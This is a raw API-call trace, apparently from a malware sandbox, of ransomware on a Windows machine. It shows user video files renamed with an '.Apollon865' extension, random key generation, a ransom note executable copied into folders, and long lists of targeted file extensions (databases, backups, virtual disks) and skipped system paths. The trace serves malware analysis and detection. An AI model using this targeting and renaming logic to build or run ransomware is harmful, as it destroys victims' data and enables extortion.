	[0086.548] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\_wg1yDowcPrQP6Fl66.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\_wg1ydowcprqp6fl66.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\_wg1yDowcPrQP6Fl66.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\_wg1ydowcprqp6fl66.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\_wg1yDowcPrQP6Fl66.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\_wg1ydowcprqp6fl66.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.550] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=95196) returned 1
	[0086.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.550] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.551] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.551] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.551] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x176e0, lpName=0x0) returned 0x15c
	[0086.551] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x176e0) returned 0x120000
	[0086.555] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.555] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.555] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.556] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.557] CloseHandle (hObject=0x15c) returned 1
	[0086.557] CloseHandle (hObject=0x9c) returned 1
	[0086.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.558] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a9790, ftCreationTime.dwHighDateTime=0x1d4d4ca, ftLastAccessTime.dwLowDateTime=0xc6987da0, ftLastAccessTime.dwHighDateTime=0x1d4d0fe, ftLastWriteTime.dwLowDateTime=0xc6987da0, ftLastWriteTime.dwHighDateTime=0x1d4d0fe, nFileSizeHigh=0x0, nFileSizeLow=0x173dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wg1yDowcPrQP6Fl66.mkv", cAlternateFileName="_WG1YD~1.MKV")) returned 0
	[0086.559] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.559] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0086.559] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF"
	[0086.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0086.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0086.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned 68
	[0086.559] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF"
	[0086.559] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.559] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.559] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.560] GetLastError () returned 0x0
	[0086.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.560] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.560] CloseHandle (hObject=0x10c) returned 1
	[0086.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.560] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.560] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ab0f6c0, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.560] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.560] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.560] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ab0f6c0, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.560] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.560] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30187390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.560] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.560] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89589580, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0xd36e3230, ftLastAccessTime.dwHighDateTime=0x1d4c781, ftLastWriteTime.dwLowDateTime=0xd36e3230, ftLastWriteTime.dwHighDateTime=0x1d4c781, nFileSizeHigh=0x0, nFileSizeLow=0xd98b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IDNp4-.avi", cAlternateFileName="")) returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="Apollon865.txt.exe") returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".") returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="..") returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="windows") returned -1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="bootmgr") returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="temp") returned -1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="pagefile.sys") returned -1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="boot") returned 1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="ids.txt") returned -1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="ntuser.dat") returned -1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="perflogs") returned -1
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2="MSBuild") returned -1
	[0086.561] lstrlenW (lpString="IDNp4-.avi") returned 10
	[0086.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\*") returned 70
	[0086.561] lstrcpyW (in: lpString1=0x119e692, lpString2="IDNp4-.avi" | out: lpString1="IDNp4-.avi") returned="IDNp4-.avi"
	[0086.561] lstrlenW (lpString="IDNp4-.avi") returned 10
	[0086.561] lstrlenW (lpString="Apollon865") returned 10
	[0086.561] lstrlenW (lpString=".dll") returned 4
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".dll") returned 1
	[0086.561] lstrlenW (lpString=".lnk") returned 4
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".lnk") returned 1
	[0086.561] lstrlenW (lpString=".ini") returned 4
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".ini") returned 1
	[0086.561] lstrlenW (lpString=".sys") returned 4
	[0086.561] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".sys") returned 1
	[0086.561] lstrlenW (lpString="IDNp4-.avi") returned 10
	[0086.561] lstrlenW (lpString="bak") returned 3
	[0086.561] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.561] lstrlenW (lpString="ba_") returned 3
	[0086.561] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.561] lstrlenW (lpString="dbb") returned 3
	[0086.561] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.561] lstrlenW (lpString="vmdk") returned 4
	[0086.561] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.561] lstrlenW (lpString="rar") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.562] lstrlenW (lpString="zip") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.562] lstrlenW (lpString="tgz") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.562] lstrlenW (lpString="vbox") returned 4
	[0086.562] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.562] lstrlenW (lpString="vdi") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.562] lstrlenW (lpString="vhd") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.562] lstrlenW (lpString="vhdx") returned 4
	[0086.562] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.562] lstrlenW (lpString="avhd") returned 4
	[0086.562] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.562] lstrlenW (lpString="db") returned 2
	[0086.562] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.562] lstrlenW (lpString="db2") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.562] lstrlenW (lpString="db3") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.562] lstrlenW (lpString="dbf") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.562] lstrlenW (lpString="mdf") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.562] lstrlenW (lpString="mdb") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.562] lstrlenW (lpString="sql") returned 3
	[0086.562] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.562] lstrlenW (lpString="sqlite") returned 6
	[0086.562] lstrcmpiW (lpString1="4-.avi", lpString2="sqlite") returned -1
	[0086.562] lstrlenW (lpString="sqlite3") returned 7
	[0086.562] lstrcmpiW (lpString1="p4-.avi", lpString2="sqlite3") returned -1
	[0086.562] lstrlenW (lpString="sqlitedb") returned 8
	[0086.562] lstrcmpiW (lpString1="Np4-.avi", lpString2="sqlitedb") returned -1
	[0086.562] lstrlenW (lpString="xml") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.563] lstrlenW (lpString="$er") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.563] lstrlenW (lpString="4dd") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.563] lstrlenW (lpString="4dl") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.563] lstrlenW (lpString="^^^") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.563] lstrlenW (lpString="abs") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.563] lstrlenW (lpString="abx") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.563] lstrlenW (lpString="accdb") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accdb") returned -1
	[0086.563] lstrlenW (lpString="accdc") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accdc") returned -1
	[0086.563] lstrlenW (lpString="accde") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accde") returned -1
	[0086.563] lstrlenW (lpString="accdr") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accdr") returned -1
	[0086.563] lstrlenW (lpString="accdt") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accdt") returned -1
	[0086.563] lstrlenW (lpString="accdw") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accdw") returned -1
	[0086.563] lstrlenW (lpString="accft") returned 5
	[0086.563] lstrcmpiW (lpString1="-.avi", lpString2="accft") returned -1
	[0086.563] lstrlenW (lpString="adb") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.563] lstrlenW (lpString="adb") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.563] lstrlenW (lpString="ade") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.563] lstrlenW (lpString="adf") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.563] lstrlenW (lpString="adn") returned 3
	[0086.563] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.564] lstrlenW (lpString="adp") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.564] lstrlenW (lpString="alf") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.564] lstrlenW (lpString="ask") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.564] lstrlenW (lpString="btr") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.564] lstrlenW (lpString="cat") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.564] lstrlenW (lpString="cdb") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.564] lstrlenW (lpString="ckp") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.564] lstrlenW (lpString="cma") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.564] lstrlenW (lpString="cpd") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.564] lstrlenW (lpString="dacpac") returned 6
	[0086.564] lstrcmpiW (lpString1="4-.avi", lpString2="dacpac") returned -1
	[0086.564] lstrlenW (lpString="dad") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.564] lstrlenW (lpString="dadiagrams") returned 10
	[0086.564] lstrlenW (lpString="daschema") returned 8
	[0086.564] lstrcmpiW (lpString1="Np4-.avi", lpString2="daschema") returned 1
	[0086.564] lstrlenW (lpString="db-journal") returned 10
	[0086.564] lstrlenW (lpString="db-shm") returned 6
	[0086.564] lstrcmpiW (lpString1="4-.avi", lpString2="db-shm") returned -1
	[0086.564] lstrlenW (lpString="db-wal") returned 6
	[0086.564] lstrcmpiW (lpString1="4-.avi", lpString2="db-wal") returned -1
	[0086.564] lstrlenW (lpString="dbc") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.564] lstrlenW (lpString="dbs") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.564] lstrlenW (lpString="dbt") returned 3
	[0086.564] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.564] lstrlenW (lpString="dbv") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.565] lstrlenW (lpString="dbx") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.565] lstrlenW (lpString="dcb") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.565] lstrlenW (lpString="dct") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.565] lstrlenW (lpString="dcx") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.565] lstrlenW (lpString="ddl") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.565] lstrlenW (lpString="dlis") returned 4
	[0086.565] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.565] lstrlenW (lpString="dp1") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.565] lstrlenW (lpString="dqy") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.565] lstrlenW (lpString="dsk") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.565] lstrlenW (lpString="dsn") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.565] lstrlenW (lpString="dtsx") returned 4
	[0086.565] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.565] lstrlenW (lpString="dxl") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.565] lstrlenW (lpString="eco") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.565] lstrlenW (lpString="ecx") returned 3
	[0086.565] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.565] lstrlenW (lpString="edb") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.566] lstrlenW (lpString="epim") returned 4
	[0086.566] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.566] lstrlenW (lpString="fcd") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.566] lstrlenW (lpString="fdb") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.566] lstrlenW (lpString="fic") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.566] lstrlenW (lpString="flexolibrary") returned 12
	[0086.566] lstrlenW (lpString="fm5") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.566] lstrlenW (lpString="fmp") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.566] lstrlenW (lpString="fmp12") returned 5
	[0086.566] lstrcmpiW (lpString1="-.avi", lpString2="fmp12") returned -1
	[0086.566] lstrlenW (lpString="fmpsl") returned 5
	[0086.566] lstrcmpiW (lpString1="-.avi", lpString2="fmpsl") returned -1
	[0086.566] lstrlenW (lpString="fol") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.566] lstrlenW (lpString="fp3") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.566] lstrlenW (lpString="fp4") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.566] lstrlenW (lpString="fp5") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.566] lstrlenW (lpString="fp7") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.566] lstrlenW (lpString="fpt") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.566] lstrlenW (lpString="frm") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.566] lstrlenW (lpString="gdb") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.566] lstrlenW (lpString="gdb") returned 3
	[0086.566] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.566] lstrlenW (lpString="grdb") returned 4
	[0086.567] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.567] lstrlenW (lpString="gwi") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
	[0086.567] lstrlenW (lpString="hdb") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.567] lstrlenW (lpString="his") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.567] lstrlenW (lpString="ib") returned 2
	[0086.567] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.567] lstrlenW (lpString="idb") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.567] lstrlenW (lpString="ihx") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.567] lstrlenW (lpString="itdb") returned 4
	[0086.567] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.567] lstrlenW (lpString="itw") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.567] lstrlenW (lpString="jet") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.567] lstrlenW (lpString="jtx") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.567] lstrlenW (lpString="kdb") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.567] lstrlenW (lpString="kexi") returned 4
	[0086.567] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.567] lstrlenW (lpString="kexic") returned 5
	[0086.567] lstrcmpiW (lpString1="-.avi", lpString2="kexic") returned -1
	[0086.567] lstrlenW (lpString="kexis") returned 5
	[0086.567] lstrcmpiW (lpString1="-.avi", lpString2="kexis") returned -1
	[0086.567] lstrlenW (lpString="lgc") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.567] lstrlenW (lpString="lwx") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.567] lstrlenW (lpString="maf") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.567] lstrlenW (lpString="maq") returned 3
	[0086.567] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.568] lstrlenW (lpString="mar") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.568] lstrlenW (lpString="marshal") returned 7
	[0086.568] lstrcmpiW (lpString1="p4-.avi", lpString2="marshal") returned 1
	[0086.568] lstrlenW (lpString="mas") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.568] lstrlenW (lpString="mav") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.568] lstrlenW (lpString="maw") returned 3
